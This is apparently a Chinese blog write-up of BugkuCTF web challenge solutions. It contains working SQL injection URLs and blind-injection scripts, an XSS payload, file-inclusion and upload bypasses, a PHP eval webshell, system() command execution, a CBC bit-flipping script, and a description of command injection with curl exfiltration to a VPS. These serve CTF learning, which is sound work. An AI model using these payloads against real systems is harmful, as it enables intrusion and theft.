浅谈BugkuCTF-writeup

从CTF入门到现在也过去半年多了,各个平台的CTF也打了不少,总的来说,bugku的题目还是挺照顾我们新人的,最近花了一点时间刷完了bugku的web题,学习了师傅们的各种姿势,受益匪浅啊,然而有些题目的w确实很迷,所以我想总结一下,记个笔记,方便自己方便他人。

1.签到题

加群得flag

2.Web2

查看源码得flag

3.文件上传测试

浏览先随便选择一个图片,然后打开burp截包,刚开始我就尝试一下解析漏洞,也就是把名字filename的后缀加一个%00.php,没想到直接getflag了

4.计算题

打开网页发现是要输入计算结果,查看源码发现本地有maxlength限制,所以直接F12打开控制台修改maxlength的值为100即可,口算提交出flag

5.Web3

打开以后疯狂的弹窗。。。禁止弹窗后查看源码发现可得一段unicode编码,解码得flag

6.sql注入

这题一开始试了一下发现页面始终返回正常,
页面有提示使用了GBK2312编码,然后开始考虑宽字节注入,加上一个%df使其吃掉%5c

1
http://103.238.227.13:10083/?id=1%df%27

报错OK,继续
union select测试到两列时出现回显:

1
http://103.238.227.13:10083/?id=-1%df%27 union select 1,2--+

构造语句查看数据库名

1
http://103.238.227.13:10083/?id=-1%df%27 union select 1,database()%23

构造语句查看列名

1
http://103.238.227.13:10083/?id=-1%df%27 union select 1,table_name from information_schema.tables where table_schema=0x73716C35--+

构造语句查看字段名

1
http://103.238.227.13:10083/?id=-1%df%27 union select 1,column_name from information_schema.columns where table_name=0x6B6579--+

最后构造语句查看flag

1
http://103.238.227.13:10083/?id=-1%df%27 union select 1,string from sql5.key--+

7.sql注入1

查看源码过滤了很多关键词,没头绪
发现后面有

1
$id = strip_tags($id);

这XSS过滤代码,这句代码会把<>替换为空,所以可以构造

1
http://103.238.227.13:10083/?id=-1%df%27 un<>ion sel<>ect 1,database()%23

可以绕过waf,后面步骤与上面相同

1
KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

8.你必须让他停下来

打开bp发送到repeater,然后不停的gogogogogogogo,后台总共有15个jpg,后台会随机返回一个图片如果jpg为10的时候就能得到flag

9.本地包含

打开网址,查看源码发现是文件包含漏洞,通过file使其以数组形式返回
然后利用var_dump输出,所以直接输入

?hello=file(“flag.php”)
使其前端输出即可

10.变量1

打开网址源码审计发现有输入必须满足正则表达式。)且发现有$$双重定义,想到PHP有$GOLABLES变量可以包含所有变量所以输入

1
args=GLOBALS

即出flag

11.Web4

源码很好理解把俩个变量进行unescape解码,可得到源码,发现password=67d709b2b54aa2aa648cf6e87a7114f1提交就可得到flag

12.web5

JSfuck直接F12放到控制台运行就可解码得到flag

13.flag在index里

进入链接发现url:

1
http://b.post.bugku.com/post/index.php?file=show.php

目测是文件包含,php://filter读取index.php

1
http://b.post.bugku.com/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

然后base64解码得源码,get flag:
flag{edulcni_elif_lacol_si_siht}

14.Web6

查看源码发现http头里面有个经过base64加密的flag字段,结合题目暗示可知是要把flag字段以margin参数进行提交,这里注意每次打开页面的cookie的页面都会变,导致提交的margin与上一次flag字段对不上,所以python脚本一定要用设置会话,以下是python脚本

1
2
3
4
5
6
7
8
9
10
11
import requests
from base64 import b64decode
s=requests.Session()
a=s.get('http://c.bugku.com/web6/')
bs=a.headers['FLAG']
flag=b64decode(bs)
flag=(flag.split(':')[1])[1:]
flag=b64decode(flag)
payload={'margin':flag}
r=s.post('http://c.bugku.com/web6/',data=payload)
print r.text

一跑flag就出来了

15.cookie欺骗

打开网页发现一长串字符,看了半天没看出啥,然后发现url,filename参数是个base64编码的参数,解码得到keys.txt,所以猜测文件名是以base64的方式进行传播的所以把index.php以base64编码的格式传入,然后写个脚本遍历line参数的值可得出源码

1
2
3
4
5
6
import requests
a = 40
for i in range(a):
url = "http://c.bugku.com/web11/index.php?line=%d&filename=aW5kZXgucGhw" %i
r = requests.get(url)
print r.text

16.XSS

查看源码发现
传入id参数进行xss这题过滤了<>所以可用unicode编码绕过所以构造payload

1
http://103.238.227.13:10089/?id=\u003cimg%20src=1%20onerror=alert(_key_)\u003e

得到flag

17.各种绕过哟

查看源码
发现获得flag要求的条件是:uname != passwd & sha1(uname) === sha1(passwd)&id=margin,乍看起来这是不可能的,其实可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:?uname[]=a&passwd[]=b,这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将warning并返回false,if 条件成立,获得flag。

18.Web8

打开后查看源码
发现找到flag的条件是是ac与f恒等且满足ac不能为空以及f的值是从fn文件读取,由题目提示得到目录中有flag.txt,访问得到flags故可以构造payload如下

1
http://c.bugku.com/web8/?ac=flags&fn=flag.txt

当然也可以利用php输入流进行构造,payload如下
!!!图片

19.字符?正则

考察正则表达式.,payload如下

1
http://c.bugku.com/web10/?id=keykekeykeykeykeykeykey:/a/kekeya[:]

20.考细心

进入后发现404,源码发现没头绪,所以看看有无robots.txt或者备份文件
访问robots.txt发现有个/resusl.php,访问可得源码,我做到这里一直很懵逼,然后经室友提醒构造x=admin可得flag。。(讨厌脑洞。)payload如下

1
http://c.bugku.com/web13//resusl.php?x=admin

话说访问以后能看到ip简直可怕。

21.php代码审计

数据库没弄好,暂时不做

22.getshell

先随便上传一个php提示无效的文件,然后打开bp抓包,发现00截断没有,这时候我就懵逼了,问了一下说是,后缀名黑名单加类型检测,所以抓包修改后缀名发现php5没有被过滤再把下面content-type字段修改为Image/gif,最后把上面的Content-type换一下大小写绕过,这里说一下以为walf如果是严格匹配,那么大小写可能会让walf失效,然而服务器的容错率高所以服务器正常解析
payload如图

23.flag.php

首先根据提示hint,传入参数hint=1可得到源码然后代码审计得到反序列化漏洞,只需要让cookie的IScere字段的反序列化等于KEY的值即可
bp抓包修改cookie的值即可getflag

24.web15

打开可以看到源代码
浏览一下可知是把访问者IP记录到数据库进行查询,由此可以尝试XFF伪造
,用bp抓包尝试一下加一个字段发现返回和、构造的pauyload字段说明存在注入
写一个py脚本爆破可得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
payloads='abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'
flag = ''
def exp(x,i):
starttime=time.time()
url = "http://c.bugku.com/web15/"
xxx = "' or sleep(ascii(mid((select(flag)from(flag))from("+str(x)+")for(1)))=ascii('"+i+"')) and '1'='1"
headers = {
"Host": "http://ctf.bugku.com/challenges",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"X-FORWARDED-FOR": xxx
}
res = requests.get(url, headers=headers)
s = time.time() - starttime;
if s > 1:
return 1
else:
return 0
for x in range(1,33):
for i in payloads:
if (exp(x,i)):
flag+=i
print flag
break
else:
pass
print 'flag:'+flag

25.sql注入2

好吧这题是问了B牛的,提示过滤了一切,卡了好长时间都没注入进去,于是无奈之下拿出工具扫了一下目录,发现了一个DS_store典型的源码泄露。然后用github上的.DS_Store查看脚本可以查看,有个flag文件打开访问可得flag。

1
flag{sql_iNJEct_comMon3600!}

文件包含2

右键查看源码发现有个
<!-- upload.php -->
根据提示文件包含所以上传一个jpg,内容为
<?php
@eval($_POST[pupil]);
?>
发现上传不成功,<?标签被过滤了所以可以使用想到可以用script标签过滤

1
2
3
<script language=php>
@eval($_POST[pupil]);
</script>

发现ban了菜刀
所以直接构造命令执行

1
<script language=php>system("ls")</script>


1
<script language=php>system("cat flagxxxx.txt")</script>

login2

此题需要vps,先直接构造

1
2
username=0' union select 1,md5(2)#
&password=1

原理我在不阐述了,想要了解的私我
然后进去以后发现有过滤,只用ls命令
于是用命令执行截断xxx || ls但是我们看不见返回,所以需要vps进行curl弹,然后再查看vps的访问日志

login3

盲注题,直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
url = 'http://47.93.190.246:49167/index.php'
s = requests.Session()
result = ''
for i in range(1,33):
for j in range(48,123):
payload = "admin'^(ascii(mid((password)from(%d)))>%d)#" % (i,j)
data = {"username":payload,"password":"123"}
r = s.post(url,data=data)
if "password error!" in r.content:
result += chr(j)
print result
break
print "password: "+result

login4

随手加一个.index.php.swp发现了源码,审计一下很明显的CBC反转字节攻击先用bp抓包,然后上脚本省事就没写自动化的脚本了..这里就不贴原理了,百度一大堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64 
import requests
from urllib import unquote
url = 'http://47.93.190.246:49168/index.php'
data = {
'username': '1dmin',
'password': '12345',
}
s = requests.Session()
cookies = s.post(url,data=data).cookies
cipher = cookies['cipher']
cipher = base64.b64decode(unquote(cipher))
cipher = cipher[:9] + chr(ord(cipher[9]) ^ ord('1') ^ ord('a')) + cipher[10:]
print "iv:" + unquote(cookies['iv'])
print "cipher:" + base64.b64encode(cipher)
print "PHPSESSID: "+ cookies['PHPSESSID']

得到iv和cookie的值,然后用
用户名1dmin,密码12314(随便)输入进去后用bp抓包修改cookie的3个键为以上值go一下(这里记得把脚本跑出来的值url编码一下),不出意外会出现xxxxxxxxxxxxxxxx cannot unserialize的报错然后再用以下脚本

1
2
3
4
5
6
7
8
9
10
import base64
from urllib import quote
plain = base64.b64decode("变量1")
want = 'a:2:{s:8:"userna'
first_16 = ''
iv = base64.b64decode('变量2')
for i in range(16):
first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i]))
newiv = first_16
print quote(base64.b64encode(newiv))

这里变量1填xxxx无法反序列化xxx的值,变量2填第一处脚本获得iv的值
然后再替换bp中的iv的值,go一下,getflag

welcome to bugkuctf

这题就是我出的。。详细wp见我另一篇博文http://pupiles.com/suibi2.html

never give up

查看源码发现有一个1p.html直接访问会跳转于是直接再前面加一个view-source:控制台解码得到源码然后http://120.24.86.145:8006/test/hello.php?id=a&a=php://input&b=%00123456
post数据为 bugku is a nice plateform

PHPCMSV9

论坛有工具用一下就可以getshell

海洋CMS

百度一下最新海洋CMS漏洞直接就有利用方法,(命令执行)